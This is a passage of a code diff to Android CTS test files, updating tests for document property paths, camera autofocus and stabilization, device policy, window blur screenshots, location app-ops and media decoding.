-        assertThat(doc.getPropertyString("propDocs2..propString")).isEqualTo("Bat");
-        assertThat(doc.getPropertyString("propDocs2..propString[1]")).isEqualTo("Hawk");
-        assertThat(doc.getPropertyString("propDocs2..")).isEqualTo("Red");
-        assertThat(doc.getPropertyString("propDocs2..[1]")).isEqualTo("Blue");
-        assertThat(doc.getPropertyString("[0]..propString[1]")).isEqualTo("Bird");
-        assertThat(doc.getPropertyString("[0]..[1]")).isEqualTo("Green");
-    }
-
-    @Test
     public void testNestedProperties_invalidPaths() {
         GenericDocument doc =
                 new GenericDocument.Builder<>("namespace", "id1", "schema1")
@@ -636,8 +587,8 @@ public class GenericDocumentCtsTest {
                         .setPropertyBytes("propBytes", new byte[][] {{3, 4}})
                         .setPropertyDocument(
                                 "propDocs",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyString("", "Cat")
+                                new GenericDocument.Builder<>("namespace", "id2", "schema1")
+                                        .setPropertyString("propString", "Cat")
                                         .build())
                         .build();
 
@@ -650,9 +601,6 @@ public class GenericDocumentCtsTest {
         // Some paths are invalid because they are malformed. These throw an exception --- the
         // querier shouldn't provide such paths.
         assertThrows(
-                IllegalArgumentException.class,
-                () -> doc.getPropertyStringArray("propDocs.[0]propInts"));
-        assertThrows(
                 IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0"));
         assertThrows(
                 IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0.]"));
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
index 1a080dc5c1b..915d768f26d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -1486,9 +1486,6 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase {
                             .onCaptureResultAvailable(eq(extensionSession), eq(triggerRequest),
                                     any(TotalCaptureResult.class));
 
-                    verify(mockAFListener,
-                            timeout(WAIT_FOR_FOCUS_DONE_TIMEOUT_MS).atLeastOnce()).onInactive();
-
                     afState.lockAutoFocus(captureBuilder, triggerBuilder);
                     triggerRequest = triggerBuilder.build();
                     reset(mockAFListener);
@@ -1500,9 +1497,6 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase {
                             .onCaptureResultAvailable(eq(extensionSession), eq(triggerRequest),
                                     any(TotalCaptureResult.class));
 
-                    verify(mockAFListener,
-                            timeout(WAIT_FOR_FOCUS_DONE_TIMEOUT_MS).atLeastOnce()).onScan();
-
                     verify(mockAFListener, timeout(WAIT_FOR_FOCUS_DONE_TIMEOUT_MS)
                             .atLeast(1)).onDone(anyBoolean());
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 97d912e4a81..ec92fa6d055 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -41,6 +41,7 @@ import static android.hardware.camera2.cts.RobustnessTest.MaxStreamSizes.VGA;
 import static android.hardware.camera2.cts.RobustnessTest.MaxStreamSizes.YUV;
 
 import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.assertFalse;
 
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.eq;
@@ -373,6 +374,7 @@ public class RobustnessTest extends Camera2AndroidTestCase {
     public void testMandatoryPreviewStabilizationOutputCombinations() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata info = mAllStaticInfo.get(id);
+            boolean previewStabilizationSupported = isPreviewStabilizationSupported(info);
             CameraCharacteristics chars = info.getCharacteristics();
             CameraCharacteristics.Key<MandatoryStreamCombination []> ck =
                     CameraCharacteristics
@@ -380,12 +382,15 @@ public class RobustnessTest extends Camera2AndroidTestCase {
             MandatoryStreamCombination[] combinations = chars.get(ck);
 
             if (combinations == null) {
-                assertNull(combinations);
+                assertFalse("Preview stabilization supported by camera id: " + id
+                        + " but null mandatory streams", previewStabilizationSupported);
                 Log.i(TAG, "Camera id " + id + " doesn't support preview stabilization, skip test");
                 continue;
+            } else {
+                assertTrue("Preview stabilization not supported by camera id: " + id
+                        + " but non-null mandatory streams", previewStabilizationSupported);
             }
 
-            assertNotNull(combinations);
             openDevice(id);
 
             try {
@@ -405,6 +410,19 @@ public class RobustnessTest extends Camera2AndroidTestCase {
         }
     }
 
+    private boolean isPreviewStabilizationSupported(StaticMetadata info) {
+        int[] availableVideoStabilizationModes = info.getAvailableVideoStabilizationModesChecked();
+        if (availableVideoStabilizationModes == null) {
+            return false;
+        }
+        for (int mode : availableVideoStabilizationModes) {
+            if (mode == CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     private void testMandatoryOutputCombinationWithPresetKeys(String cameraId,
             MandatoryStreamCombination combination, CaptureRequest.Builder requestBuilderWithKeys) {
         final int TIMEOUT_FOR_RESULT_MS = 1000;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
index 7f1be7834dc..217b4d9c0d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -40,6 +40,7 @@ import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.compatibility.common.util.BlockingCallback;
@@ -273,6 +274,7 @@ public final class CredentialManagementAppTest {
 
     @Test
     @Postsubmit(reason = "b/181993922 automatically marked flaky")
+    @EnsureHasNoDpc // Existing DPC means the Credential Management App is ignored
     public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
         setCredentialManagementApp();
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
index a0d37e81c53..fa1a68f3d43 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
@@ -28,6 +28,7 @@ import static org.testng.Assert.assertThrows;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureNotDemoMode;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
@@ -85,6 +86,7 @@ public final class SettingsTest {
 
     @CanSetPolicyTest(policy = SetGlobalSetting.class)
     @Postsubmit(reason = "new test")
+    @EnsureNotDemoMode // retail demo mode bypasses global setting allowlist
     public void setGlobalSetting_unsupported_throwsSecurityException() {
         assertThrows(SecurityException.class,
                 () -> sDeviceState.dpc().devicePolicyManager().setGlobalSetting(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 297eaf0f222..c56e00830b3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -73,6 +73,7 @@ public class BlurTests extends WindowManagerTestBase {
     private static final int DISABLE_BLUR_BROADCAST_WAIT_TIME = 100;
     private float mSavedAnimatorDurationScale;
     private boolean mSavedWindowBlurDisabledSetting;
+    private Rect mSavedActivityBounds;
 
     @Before
     public void setUp() {
@@ -87,7 +88,13 @@ public class BlurTests extends WindowManagerTestBase {
                     Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
             Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
         });
-        startTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+
+        // Use the background activity's bounds when taking the device screenshot.
+        // This is needed for multi-screen devices (foldables) where
+        // the launched activity covers just one screen
+        WindowManagerState.Activity act = startAndReturnTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+        mSavedActivityBounds = act.getBounds();
+
         verifyOnlyBackgroundImageVisible();
         assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
     }
@@ -109,7 +116,7 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
 
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
     }
 
     @Test
@@ -118,7 +125,7 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
 
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
@@ -165,22 +172,22 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
     }
 
@@ -191,21 +198,21 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot,  windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
     }
@@ -218,21 +225,21 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
     }
@@ -241,7 +248,7 @@ public class BlurTests extends WindowManagerTestBase {
     public void testBlurBehindAndBackgroundBlurSetWithAttributes() {
         startTestActivity(BLUR_ATTRIBUTES_ACTIVITY);
         final Rect windowFrame = getWindowFrame(BLUR_ATTRIBUTES_ACTIVITY);
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -254,7 +261,7 @@ public class BlurTests extends WindowManagerTestBase {
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -326,6 +333,15 @@ public class BlurTests extends WindowManagerTestBase {
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
     }
 
+    private WindowManagerState.Activity startAndReturnTestActivity(ComponentName activityName,
+                                                                   final CliIntentExtra... extras) {
+        launchActivity(activityName, extras);
+        assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+        waitAndAssertResumedActivity(activityName, activityName + " must be resumed");
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        return mWmState.getActivity(activityName);
+    }
+
 
     private Rect getWindowFrame(ComponentName activityName) {
         String windowName = getWindowName(activityName);
@@ -334,7 +350,7 @@ public class BlurTests extends WindowManagerTestBase {
     }
 
     private void verifyOnlyBackgroundImageVisible() {
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final int height = screenshot.getHeight();
         final int width = screenshot.getWidth();
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index e3792ae575c..3ffda885a4f 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -791,6 +791,12 @@ public abstract class ActivityManagerTestBase {
         return mInstrumentation.getUiAutomation().takeScreenshot();
     }
 
+    protected Bitmap takeScreenshotForBounds(Rect rect) {
+        Bitmap fullBitmap = takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, rect.left, rect.top,
+                rect.width(), rect.height());
+    }
+
     protected void launchActivity(final ComponentName activityName,
             final CliIntentExtra... extras) {
         launchActivityNoWait(activityName, extras);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 464c44dd734..a3782962906 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -16,12 +16,13 @@
 
 package android.server.wm;
 
+import static android.server.wm.ActivityManagerTestBase.isTablet;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.Activity;
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -73,6 +74,7 @@ public final class BarTestUtils {
     }
 
     public static void assumeHasColoredNavigationBar(ActivityTestRule<?> rule) {
+        assumeFalse("No colored navigation bar on Tablet", isTablet());
         assumeHasColoredBars();
 
         assumeTrue("Bottom stable inset is non-positive, no navigation bar",
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index 990d1deb11f..a70065cce07 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -19,6 +19,7 @@ package android.location.cts.none;
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
 
+import static com.android.compatibility.common.util.SystemUtil.eventually;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import android.app.ActivityManager;
@@ -26,7 +27,6 @@ import android.app.AppOpsManager;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.location.LocationManager;
 import android.os.PackageTagsList;
 import android.os.Process;
@@ -70,46 +70,50 @@ public class LocationDisabledAppOpsTest {
             runWithShellPermissionIdentity(() -> {
                 mLm.setLocationEnabledForUser(false, user);
             });
+            List<PackageInfo> pkgs =
+                    mContext.getPackageManager().getInstalledPackagesAsUser(
+                            0, user.getIdentifier());
+
+            eventually(() -> {
+                List<String> bypassedNoteOps = new ArrayList<>();
+                List<String> bypassedCheckOps = new ArrayList<>();
+                for (PackageInfo pi : pkgs) {
+                    ApplicationInfo ai = pi.applicationInfo;
+                    if (ai.uid != Process.SYSTEM_UID) {
+                        final int[] mode = {MODE_ALLOWED};
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom.noteOpNoThrow(
+                                    OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+                            bypassedNoteOps.add(pi.packageName);
+                        }
+
+
+                        mode[0] = MODE_ALLOWED;
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom
+                                    .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+                            bypassedCheckOps.add(pi.packageName);
+                        }
 
-            List<String> bypassedNoteOps = new ArrayList<>();
-            List<String> bypassedCheckOps = new ArrayList<>();
-            for (PackageInfo pi : mContext.getPackageManager().getInstalledPackagesAsUser(
-                            0, user.getIdentifier())) {
-                ApplicationInfo ai = pi.applicationInfo;
-                if (ai.uid != Process.SYSTEM_UID) {
-                    final int[] mode = {MODE_ALLOWED};
-                    runWithShellPermissionIdentity(() -> {
-                        mode[0] = mAom.noteOpNoThrow(
-                                OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
-                    });
-                    if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
-                        bypassedNoteOps.add(pi.packageName);
                     }
-
-
-                    mode[0] = MODE_ALLOWED;
-                    runWithShellPermissionIdentity(() -> {
-                        mode[0] = mAom.checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
-                    });
-                    if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
-                        bypassedCheckOps.add(pi.packageName);
-                    }
-
                 }
-            }
-
-            String msg = "";
-            if (!bypassedNoteOps.isEmpty()) {
-                msg += "Apps which still have access from noteOp " + bypassedNoteOps;
-            }
-            if (!bypassedCheckOps.isEmpty()) {
-                msg += (msg.isEmpty() ? "" : "\n\n")
-                        +  "Apps which still have access from checkOp " + bypassedCheckOps;
-            }
-            if(!msg.isEmpty()) {
-                Assert.fail(msg);
-            }
 
+                String msg = "";
+                if (!bypassedNoteOps.isEmpty()) {
+                    msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+                }
+                if (!bypassedCheckOps.isEmpty()) {
+                    msg += (msg.isEmpty() ? "" : "\n\n")
+                            +  "Apps which still have access from checkOp " + bypassedCheckOps;
+                }
+                if (!msg.isEmpty()) {
+                    Assert.fail(msg);
+                }
+            });
         } finally {
             runWithShellPermissionIdentity(() -> {
                 mLm.setLocationEnabledForUser(wasEnabled, user);
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index e8243f8aeb2..f03fa90bb0d 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -198,18 +198,20 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurface() throws IOException, InterruptedException {
         boolean[] boolStates = {true, false};
-        OutputManager ref;
+        OutputManager ref = null;
         OutputManager test = new OutputManager();
         final long pts = 0;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            ref = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             MediaFormat format = setUpSource(mTestFile);
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -231,12 +233,15 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
             }
             mCodec.release();
@@ -266,13 +271,16 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager ref = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+            OutputManager ref = null;
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             setUpSource(mTestFile);
@@ -312,12 +320,15 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
 
                 /* test flush in eos state */
@@ -334,12 +345,15 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
             }
             mCodec.release();
@@ -368,19 +382,24 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager ref = mOutputBuff;
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and reference pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
-            }
-            decodeAndSavePts(mReconfigFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager configRef = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and reconfig ref output pts list are not identical",
-                        configRef.isOutPtsListIdenticalToInpPtsList(false));
+            OutputManager ref = null;
+            OutputManager configRef = null;
+
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and reference pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
+                decodeAndSavePts(mReconfigFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                configRef = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and reconfig ref output pts list are not identical",
+                            configRef.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -415,12 +434,15 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
                 /* test reconfigure codec at eos state */
                 reConfigureCodec(format, !isAsync, false, false);
@@ -436,12 +458,15 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
